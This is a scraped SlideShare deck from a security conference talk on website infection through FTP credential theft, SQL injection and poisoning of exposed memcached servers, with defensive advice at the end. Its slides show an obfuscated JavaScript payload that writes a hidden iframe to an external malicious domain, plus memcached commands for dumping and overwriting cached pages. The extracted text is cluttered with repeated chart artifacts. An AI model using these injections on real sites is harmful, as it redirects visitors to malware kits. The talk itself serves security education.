SlideShare une entreprise Scribd logo
1  sur  49
[FTP|SQL|Cache]
    Injections
   David Barroso
Head of Security Intelligence
  Telefonica Digital
ddddddasdfsdf
                      27%

                                73%




http://www.iframeinjectionattack.com/how-to-remove-this-site-may-harm-your-computer.html
Introduction

Cache basics

Demo

Summary
How can I infect a web?
Or, how can I forward visitors to a controlled webpage?




                                                          Pág. 4
MPack

          The attacker
          compromises a               Attacker
          website and injects                            The malcode
          an iFrame                                      connects back
                                                         to the C&C
                                                                         C&C

                                                     iFRAME

  Infection kit                  Servidor Web legítimo
                                 www.mydomain.com)


        The visitor is
        forwarded to an
        infection kit

                    The visitor browses a
                    normal website (with           User
                    a malicious iframe)
                                                                               Pág. 5
First option
Difficulty: easy




                   Pág. 6
Pág. 7
Pág. 8
SQL Injection
Difficulty: easy




                   Pág. 9
Pág. 10
Pág. 11
Pág. 12
Pág. 13
A tener en cuenta

 Which users do I want to infect?
    Focus your efforts
    Example: brazilian webpages
 SEO and web ranking
   Alexa Ranking
 It’s not only about infection
    Sometimes is only about web ranking
    Spam comments in blogs
    Playing with HTML entities(ex. <noscript>)


                                                     Pág. 14
                                                  Pág. 14
Second options
Difficulty: medium




                     Pág. 15
Pág. 16
Pág. 17
Pág. 18
Pág. 19
Pág. 20
Pág. 21
Choose your preferred
infection kit
99% LAMP: Linux + Apache + Mysql + PHP




                                         Pág. 22
Pág. 23
Pág. 24
Pág. 25
Pág. 26
Pág. 27
ddddddasdfsdf
 Simple: <iframe src=‘http://www.malicious.com’></iframe>

 Not so simple:

<Script Language='Javascript'>
          27%
          document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%6
                 73%
3%3D%20%68%74%74%70%3A%20%2F%2F%67%6F%6F%6F%6F%67%6C%65%
61%64%73%65%6E%63%65%2E%62%69%7A%2F%5F%63%6C%69%63%6B%3D
%38%46%39%44%41%20%20%77%69%64%74%68%3D%31%20%68%65%69%67
%68%74%3D%31%20%73%74%79%6C%65%3D%20%76%69%73%69%62%69%6
C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%
6E%3A%61%62%73%6F%6C%75%74%65%20%3E%3C%2F%69%66%72%61%6D
%65%3E'));
</Script>
And how a web cache is
related?
Specifically: memcached




                          Pág. 29
ddddddasdfsdf
Cache
 A component that transparently stores data so that future
  requests for that data can be served faster. The data that is
  stored within a cache might be values that have been
  computed earlier or duplicates of original values that are
  stored27%
         elsewhere. (Wikipedia)

               73%
 Examples: CPU, Disk, DNS, ARP, etc.

 Main security attack: poisoning
ddddddasdfsdf
                      73%
                27%
ddddddasdfsdf
             Created on 2003 forLiveJournal
             Associative array(hash table)
             YouTube, Reddit, FaceBook,
              Orange, Twitter, etc.
27%          Memory-based
             Keys (250b), Values (1MB)
      73%    Default port: 11211/tcp

             No authentication
             Some caches are on the Internet
             Optional(not often used): SASL
ddddddasdfsdf
 Telnet based commands
 Commands
    Set (flags timeout bytes)
    Get
    Stats
        27%
        Items
        Cachedump
             73%
ddddddasdfsdf
 Sensepost analyzed the security issues back on 2010
 They developed go-derper.rb
    Identifcation
    Storage of k keys and values
    Regular expressiones
        27%
    It can overwrite existing keys and values
             73%
 Main problems
    Which web app is using these data?
    How can I find ‘interesting’ data?
Infections

iFrame/JS malicious
injection




Confidential information

Passwords
Prices!
Let’s see some practical
stuff
Take care with all those memcached!




                                      Pág. 37
ddddddasdfsdf
Demo
 Memcached access
   27%
 Key/value storage
     73%
ddddddasdfsdf
 set FIRST 0 0 11
    Hello FIRST
 get FIRST

 stats items
        27%
 stats cachedump n 10
             73%
ddddddasdfsdf
Demo
 Overwriting values
   27%
 (iFrame – infection kit)
      73%
ddddddasdfsdf
 iFrame injection




        27%

              73%
ddddddasdfsdf
Demo
 Password sniffing
   27%
 Data mangling (prices)
      73%
ddddddasdfsdf
 Password sniffing




        27%

              73%
ddddddasdfsdf
 Data mangling (prices)




        27%

              73%
ddddddasdfsdf
 Data mangling (prices)




        27%

              73%
ddddddasdfsdf
              27%

                    73%




Source: http://www.sensepost.com/blog/4873.html
ddddddasdfsdf
 CacheT: an alternative to FTP-Toolz
  and SQL Injection Kitz

 go-derper.rb patch
 Proof of concept
         27%
 Once you find some memcached
  hosts(nmap) 73% entries
    Dump of all their
    Look for HTML data
    Malicious injection
      (iFrame/JavaScript)
 Not published yet (only malicious
  purposes)
ddddddasdfsdf
 Protect your memcached from external access
     Firewall
     Listen only to localhost
 We haven’t seen malicious infections using theses caches
     But it’s a very attractive asset, because many of the large
          27%
        websites are using it
     From the malicious point of view, it doesn’t mind if you don’t
               73%
        know which webapp is behind
 It’s very easy to code a tool scanning for open memcached (or
  similar caches) and then infect all of them
     nmap + go-derper.rb
Obrigado
David Barroso
   @lostinsecurity

Contenu connexe

En vedette

My Life: by Christopher Dyson
My Life: by Christopher DysonMy Life: by Christopher Dyson
My Life: by Christopher Dyson
Christopher Dyson
 
Cont_Perf_Improv_ws
Cont_Perf_Improv_wsCont_Perf_Improv_ws
Cont_Perf_Improv_ws
Bill Hoberg
 
water treatment
water treatmentwater treatment
water treatment
canadianclear
 

En vedette (17)

Lionel Denisefrench Contemporary Artist
Lionel Denisefrench Contemporary ArtistLionel Denisefrench Contemporary Artist
Lionel Denisefrench Contemporary Artist
 
My Life: by Christopher Dyson
My Life: by Christopher DysonMy Life: by Christopher Dyson
My Life: by Christopher Dyson
 
Prezentarea oportunitatea cci
Prezentarea oportunitatea cciPrezentarea oportunitatea cci
Prezentarea oportunitatea cci
 
Riesgos físicos
Riesgos físicosRiesgos físicos
Riesgos físicos
 
Knye journal-tpd2016 (2)
Knye journal-tpd2016 (2)Knye journal-tpd2016 (2)
Knye journal-tpd2016 (2)
 
Powertpointcontiempo
PowertpointcontiempoPowertpointcontiempo
Powertpointcontiempo
 
Transkrip Nilai
Transkrip NilaiTranskrip Nilai
Transkrip Nilai
 
Final portfolio
Final portfolioFinal portfolio
Final portfolio
 
Cont_Perf_Improv_ws
Cont_Perf_Improv_wsCont_Perf_Improv_ws
Cont_Perf_Improv_ws
 
MS_Thesis
MS_ThesisMS_Thesis
MS_Thesis
 
Hakuna Matata
Hakuna MatataHakuna Matata
Hakuna Matata
 
Lemken smaragd 7-300 parts catalog
Lemken smaragd 7-300 parts catalog Lemken smaragd 7-300 parts catalog
Lemken smaragd 7-300 parts catalog
 
KAP 업종별기술세미나 11년 4월 #02
KAP 업종별기술세미나 11년 4월 #02KAP 업종별기술세미나 11년 4월 #02
KAP 업종별기술세미나 11년 4월 #02
 
KAP 업종별기술세미나 02월 #1
KAP 업종별기술세미나 02월 #1KAP 업종별기술세미나 02월 #1
KAP 업종별기술세미나 02월 #1
 
water treatment
water treatmentwater treatment
water treatment
 
Yersinia - Demostraciones prácticas de nuevos ataques de nivel dos
Yersinia - Demostraciones prácticas de nuevos ataques de nivel dosYersinia - Demostraciones prácticas de nuevos ataques de nivel dos
Yersinia - Demostraciones prácticas de nuevos ataques de nivel dos
 
Diário Oficial: 29-12-2015
Diário Oficial: 29-12-2015Diário Oficial: 29-12-2015
Diário Oficial: 29-12-2015
 

Similaire à [FTP|SQL|Cache] Injections

Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
nooralmousa
 
AktaionPPTv5_JZedits
AktaionPPTv5_JZeditsAktaionPPTv5_JZedits
AktaionPPTv5_JZedits
Rod Soto
 
Web Intrusion Detection
Web Intrusion Detection Web Intrusion Detection
Web Intrusion Detection
Abhishek Singh
 
Hardening Enterprise Apache
Hardening Enterprise ApacheHardening Enterprise Apache
Hardening Enterprise Apache
guestd9aa5
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
amiable_indian
 
TRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , TexasTRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , Texas
Aditya K Sood
 

Similaire à [FTP|SQL|Cache] Injections (20)

Serverless Security: Defence Against the Dark Arts
Serverless Security: Defence Against the Dark ArtsServerless Security: Defence Against the Dark Arts
Serverless Security: Defence Against the Dark Arts
 
Minor Mistakes In Web Portals
Minor Mistakes In Web PortalsMinor Mistakes In Web Portals
Minor Mistakes In Web Portals
 
How to secure web applications
How to secure web applicationsHow to secure web applications
How to secure web applications
 
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
 
Android Hacking
Android HackingAndroid Hacking
Android Hacking
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.
Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.
Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.
 
Vulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructureVulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructure
 
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
 
AktaionPPTv5_JZedits
AktaionPPTv5_JZeditsAktaionPPTv5_JZedits
AktaionPPTv5_JZedits
 
Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...
Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...
Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...
 
Web Intrusion Detection
Web Intrusion Detection Web Intrusion Detection
Web Intrusion Detection
 
Hardening Enterprise Apache
Hardening Enterprise ApacheHardening Enterprise Apache
Hardening Enterprise Apache
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Advanced Malware Analysis
Advanced Malware AnalysisAdvanced Malware Analysis
Advanced Malware Analysis
 
Scaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware InfectionScaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware Infection
 
TRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , TexasTRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , Texas
 
Advanced System Security and Digital Forensics
Advanced System Security and Digital ForensicsAdvanced System Security and Digital Forensics
Advanced System Security and Digital Forensics
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
The Top 10/20 Internet Security Vulnerabilities – A Primer
The Top 10/20 Internet Security Vulnerabilities – A PrimerThe Top 10/20 Internet Security Vulnerabilities – A Primer
The Top 10/20 Internet Security Vulnerabilities – A Primer
 

Plus de David Barroso

Extorsiones mediante DDoS
Extorsiones mediante DDoSExtorsiones mediante DDoS
Extorsiones mediante DDoS
David Barroso
 
Respuesta ágil ante incidentes
Respuesta ágil ante incidentesRespuesta ágil ante incidentes
Respuesta ágil ante incidentes
David Barroso
 

Plus de David Barroso (11)

El replanteamiento de la ciberseguridad
El replanteamiento de la ciberseguridadEl replanteamiento de la ciberseguridad
El replanteamiento de la ciberseguridad
 
OPSEC - Amanece que no es poco
OPSEC - Amanece que no es pocoOPSEC - Amanece que no es poco
OPSEC - Amanece que no es poco
 
Infección en BIOS, UEFI y derivados
Infección en BIOS, UEFI y derivadosInfección en BIOS, UEFI y derivados
Infección en BIOS, UEFI y derivados
 
En la época post-Snowden, ¿es la seguridad importante?
En la época post-Snowden, ¿es la seguridad importante?En la época post-Snowden, ¿es la seguridad importante?
En la época post-Snowden, ¿es la seguridad importante?
 
Ataques dirigidos contra activistas
Ataques dirigidos contra activistasAtaques dirigidos contra activistas
Ataques dirigidos contra activistas
 
Un gentil viaje al interior de las extorsiones mediante DDoS
Un gentil viaje al interior de las extorsiones mediante DDoSUn gentil viaje al interior de las extorsiones mediante DDoS
Un gentil viaje al interior de las extorsiones mediante DDoS
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
 
Recursos de la economía sumergida
Recursos de la economía sumergidaRecursos de la economía sumergida
Recursos de la economía sumergida
 
Extorsiones mediante DDoS
Extorsiones mediante DDoSExtorsiones mediante DDoS
Extorsiones mediante DDoS
 
Respuesta ágil ante incidentes
Respuesta ágil ante incidentesRespuesta ágil ante incidentes
Respuesta ágil ante incidentes
 
iPhone + Botnets = Fun
iPhone + Botnets = FuniPhone + Botnets = Fun
iPhone + Botnets = Fun
 

Dernier

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 

Dernier (20)

08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 

[FTP|SQL|Cache] Injections